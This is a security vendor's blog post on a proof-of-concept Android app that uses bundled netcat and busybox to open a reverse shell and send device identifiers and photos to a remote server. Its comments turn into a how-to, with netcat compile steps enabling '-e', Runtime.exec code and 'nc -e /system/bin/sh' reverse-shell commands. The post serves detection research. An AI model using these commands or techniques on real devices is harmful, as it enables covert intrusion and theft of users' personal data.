Android Reverse Shell

We at Clutch Mobile strive to constantly be up-to-date on the latest threats and techniques that malware authors employ out in the wild. To do this, we conduct our own in-house research and development to find security flaws.

Recently, our curiosity was drawn to reverse shell exploits and how they can be used on Android. Our goal was to write an app that used minimal Android permissions and employed some well known and not so well known exploits. Furthermore, we wanted to ensure that AppSanity (our app malware detection platform) would identify this type of app as malicious.

First, we decided to explore assets that can be bundled with an Android app. Using the Android NDK, we statically built versions of the popular utilities netcat and busybox and bundled them with our test app.


Next, we added methods to extract and execute these bundled assets.  Below are some of the methods that we included in the app: one to use the netcat binary to send a real time reverse shell back to our servers, and one to send back a log file that was created about the device (IMEI, IMSI, Phone #, CPU information, file listings on the device). These methods are executed when certain menu options are pressed on the touch screen.  The main reason why this is possible is that Android does not restrict the use of Runtime exec() to execute shell commands.


Once one has shell access to the phone, many things on the device become available.  The powerful am command allows applications to be launched, URLs to be visited, and other intents to be sent.  To gain this type of access in our test application the user only needs to allow one Android permission – INTERNET – which is used to send the shell and data from the phone.  There are even techniques to not require this permission by using the native browser’s own permissions.
Once on the device, the app can lift almost anything off of the external storage (eg, personal pictures and videos) without even notifying the user it is accessing the SD card.  Using the busybox asset, the app can FTP these files to a remote server.


It should be noted that at this point, the app does not even have root access.  While there are some limitations of not having superuser privileges, with a shell and a little bit of Linux experience, a lot of personal and enterprise data can be obtained with just a normal shell.  If superuser access is desired, it is possible to upload a local exploit to root the device, leaving the attacker able to do anything he or she wants.

While each of these techniques individually (reverse shell, perusing the Linux filesystem) are not groundbreaking, when combined together and used on Android they become very dangerous.

The next step was to test if our malware detection platform known as AppSanity could detect this type of exploit and without any type of modification the answer was yes.  Based on pure static analysis, detecting this type of exploit is more difficult, but with AppSanity’s behavioural detection techniques it is able to run any application, inspect API calls and monitor network usage.  In this case, the use of the Runtime exec() along with the data sent out over the network flagged the application as suspicious.

How can exploits of this type be mitigated?

  • Restrict / regulate assets that can be bundled with an application
  • Restrict access to executing commands via a shell – maybe another permission in the Android manifest?
  • Outbound traffic monitoring
  • Know the source of your applications and if you’re not always sure invest in some 3rd party security software

While the netcat reverse-shell is interesting and fun to play around with, the real goal here was to show an actual example of how an attacker could leverage just a couple permissions to create a malicious application.

This particular app was tested on Android 2.3, 4.0, and 4.1.


Example of taking a photo, and it then being stolen from the phone

Narrated, technical video explaining write-up

Big thanks to Mike for doing this write-up, research, and hacking!

27 thoughts on “Android Reverse Shell

  1. Would you like to know what you used for the Poc netcat?

    also if you loaded it does your virtual device arbitrarily?

  2. Hello,

    I’ve been doing some research on this as well, and I’ve run into an annoying problem. The external netcat source I’ve found doesn’t have support for the -e flag. Do you happen to have the binary for this floating around? Thanks dude!

  3. Hello,

    I tell you I like you, I find a binary of “netcat” to compile android and I have been greatly complicated.

    I have reference of certain links, which I share:

    I would like to broaden a little, or sharing the netcat indicating they have used in the blog, or to make a “post” about compiling NDK step by step.

    I’m working with a virtual device (AVD / SDK), has to be rooted? know anything about this?

  4. Hi,

    I’m also having trouble finding what version of netcat to compile as the ones I have chosen dont have the “-e” option.

    Can you advise what version of netcat you compiled?


  5. Hi all,

    So to get netcat working in the way that is shown in the video and described here, we had to get the Android NDK setup. This allows us to cross-compile code and build a binary that can be ran on the native Android environment. CodeSourcery’s ARM cross-compiler is what we used for the build.

    As for the netcat “-e”: the source code we were using had the “-e” option commented because it is “dangerous”. To bring this functionality back, all you have to do is remove the comments, and then recompile netcat and it will build in the “-e” option.

  6. Thanks for your reply Mike.

    I have got netcat-0.2.0 which seems to have the “-e” option now I just have a problem compiling it.

    I followed instructions from another tutorial for compiling netcat for Android these are below.

    In the $NDK/build/tools directory I enter the following command.

    ./ –platform=android-14 –install-dir=/tmp/android-toolchain –ndk-dir=../../

    Then in the netcat-0.2.0 folder I enter:

    export PATH=/tmp/android-toolchain/bin:$PATH
    export CC=arm-linux-androideabi-gcc
    ./configure –host=arm && make

    These commands worked for netcat-0.7.1 but not 0.2.0. Below is a summary of the make errors:

    “collect2: ld returned 1 exit status
    make[2]: *** [netcat] Error 1
    make[2]: Leaving directory `/root/Android/netcat-0.2.0/src’
    make[1]: *** [all-recursive] Error 1
    make[1]: Leaving directory `/root/Android/netcat-0.2.0′
    make: *** [all] Error 2”

    Any suggestions how I might fix this?


    1. Could you paste more from before that line “collect2: ld returned 1 exit status” ?

      Also, I am unclear why you are trying to compile 0.2.0 when 0,7.1 worked?

      1. Basically as I thought 0.7.1 wouldnt have the “-e” option. After more reading I found that it should have it and it can be enabled.

        I’m trying to follow what is on this page but still having problems.

        Unfortunately after the make it did not work. I tried the following commands in the netcat-0.7.1 folder.

        export PATH=/tmp/android-toolchain/bin:$PATH

        export CC=arm-linux-androideabi-gcc

        ./configure –host=arm


        But that gives

        make: invalid option — ‘D’
        make: invalid option — ‘G’
        make: invalid option — ‘A’
        make: invalid option — ‘P’………..

      2. OK…. Obviously, for some reason it isn’t liking the GAPING_SECURITY_HOLE define. I don’t have access to view that Google doc for some reason, but you have a couple options here that I can think of off the top of my head:

        1.) Edit the Makefile directly. I believe there should be a Makefile after running ./configure that is in the netcat/src directory. The CFLAGS option should be near the top that just contains parameters passed to the C compiler. Here you can add “-DGAPING_SECURITY_HOLE” (without the quotes) to the end of the CFLAGS= line.

        2.) Go into the source directly and just set GAPING_SECURITY_HOLE equal to 1 always.

        Best of luck…

        P.S. I have had problems in the past by doing an export CC=[…..] before running ./configure. If you run into some problems during the build, you can try to do a ./configure –host=arm-linux-androideabi. And if arm-linux-androideabi-[gcc,ld,etc] are in your PATH (which they should be, after doing export PATH=blah], it should use those tools to build.

  7. Thanks Mike.

    I’ve finally got it compiled with the -e option. Just messing around with the commands now.

    adb shell /system/bin/sh -c /data/local/tmp/./netcat -l -p 9990 -e /system/bin/sh

    I used the above command to set a listener on the android device, it worked once when I nc to the device and it used the id command. Then after that it said connection refused.

    Anyway, i’ll play around with the commands to get the hang of it. You have been a great help.


    1. No problem. Also, some versions of netcat have a -L command (uppercase L instead of lower case). This allows the listener to be persistent and not shutdown the netcat after a single connection. Unfortunately, that is standard behavior for -l (lowercase). Have fun!

      1. One last question, in the screenshot above you use the exec command in the code to run the cmd and its split in an array into parts. Does the command just get put together in order similar to below?

        /system/bin/sh -c /data/local/tmp/./netcat -e /system/bin/sh 9990

        Thats the command I’m running in adb shell but it just gives:
        Cmd Line:

        I have netcat listening on the machine port 9990.

  8. Sorry to bug you again, ignore my last post. I’ve gone ahead with trying to get netcat working through an app.

    Runtime.getRuntime().exec(new String[]{“/system/bin/sh”,”-c”,”/data/local/tmp/netcat -l -p 9990″});
    Toast.makeText(getApplicationContext(), “In Netcat Section”, Toast.LENGTH_SHORT).show();
    catch(IOException e) {
    System.out.println(“Error Executing Netcat”);
    Toast.makeText(getApplicationContext(), “In Exception Section”, Toast.LENGTH_SHORT).show();

    It prints the toast in the netcat section but the netcat listener doesnt work. I’ve tried the code in your format and also by putting ./netcat…. but still it wont work.

    I decided to try and get a listener working first as it wouldnt work either with the -e option. The netcat binary is in the /data/local/tmp folder and it works when i set up a listener via adb shell.

    Any ideas on this? Phone is Android 4.0.4.

  9. Just want to ask one last question here as I have had no luck since. I’ve tried multiple commands but i cannot get -e to work with /system/bin/sh.

    This is my command that I run in adb shell on my device.

    /data/local/tmp/./netcat -l -p 31337 -e /system/bin/sh

    Then when I nc from another system to the device the connection closes immediately and back on adb shell there is the following error even though the sh file does exist.

    Error: Couldn’t execute /system/bin/sh: No such file or directory

    This has me really stuck.

    1. I can’t help you with the specifics of your device, however there are a few things I would try:

      1.) run the command: echo $SHELL <– what this returns should be a path to a valid shell that might not be /system/bin/sh.

      2.) ls /system/bin <– look for anything like a *nix shell (ksh, csh, bash, zsh, tcsh, etc.) It is possible on your version of Android they don't have /system/bin/sh.

      Other than those suggestions, its up to you to play around with it :-). There has to be a valid shell on the device, or else you would not be able to run commands yourself. Best of luck…

      1. Thanks Mike.

        I ran echo $SHELL and it returns


        Looking in the /system/bin folder I can see the sh file and also mksh.

        I’m really at a loss as to how its not working. I will keep trying. I’m also thinking is it something to do with my netcat compile but it seems to work when I set it listening for a connection.

      2. Also, this shouldn’t matter on any POSIX compliant OS, but it’s kind of weird that you are doing: “/data/local/tmp/./netcat”

        Normally its proper convention to just do “/data/local/tmp/netcat” and the only reason why I bring up this small detail is that sometimes on these quasi-Linux devices, it may get confused with something small like that. BUT normally, that path should be just fine.

        Some other things to look for: what happens if you go into /data/local/tmp and do “./netcat -l -p 31337 /system/bin/sh” ? Is /data/local/tmp/netcat world read and executable (755) ? What about /system/bin, can any user go into that directory (directory needs world +x permissions)? You might also try compiling your own version of sh and have netcat execute that.

  10. Thanks again for the reply.

    Running “/data/local/tmp/netcat….” gives the same errors. It seems any command I try to insert after “-e” cannot be found.

    When I do “./netcat -l -p 31337 /system/bin/sh” it returns “Error: Couldn’t resolve host “/system/bin/sh”

    Netcat has the following permissions.

    -rwxr-xr-x shell shell 92280 2013-06-12 01:20 netcat

    The system/bin folder has the following permissions.

    drwxr-xr-x root shell 2013-03-31 12:36 bin

    I will look up compiling my own sh.

    1. I just realized what was going on.

      You need to have the listener going on your own machine, and have the Android device send the shell.

      On your server: nc -l -vv -p 31337 <– this starts a listener on your own server on port 31337

      On your Android: nc -e /system/bin/sh your.server.ip 31337 <– sends shell to your server netcat listener.

      1. Tried that but still no luck. Below is what I entered. I did -vv which showed an error.

        shell@android:/data/local/tmp $ ./netcat -e /system/bin/sh 31337
        1|shell@android:/data/local/tmp $ ./netcat -vv -e /system/bin/sh >
        Warning: Inverse name lookup failed for `′
        Total received bytes: 0
        Total sent bytes: 0
        1|shell@android:/data/local/tmp $ is a linux server where I set the listener. I can ping the linux server from the phone so they are able to communicate.

      2. Don’t put a -vv on the Android client.

        Android: /data/local/tmp/netcat -e /system/bin/sh your.server.ip 31337

        Your Linux Server: nc -l -p 31337 (-vv is optional here, but the netcat client on your linux machine should have it).

        If you have any further questions, message my nick “mikecc” on efnet IRC:

  11. I sent you a msg on IRC but im not sure if it go to you so just posting it here also. I’ve never used IRC so not exactly sure how it works. I connected to and sent you some messages using /msg mikecc without joining a channel. Hope you got them.

    I’ve tried what you said last and it still wont work. It seems that when I netcat from the device to connect to the server it doesnt work. Even just connecting without the -e option doesnt work. The error that is returned by adding -vv is:

    Warning: Inverse name lookup failed for `′

    Strange problem. Thanks for all your help.

  12. Last question on here as I know you have helped enough already but can you tell me if the version of netcat you compiled was from the following.

    I still cannot get outbound netcat connections working from the two Android devices I have tested with.


  13. Just wanted to leave one final post here to say that by using busybox’s version of nc I was able to get a reverse shell. Finally. Thanks for all your help Mike.

  14. Hello,

    I have any questions.

    Would you tell me how to execute netcat?
    After take netcat to ‘assets’, then I don’t know what to do.

    Howw you import netcat and execute?

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s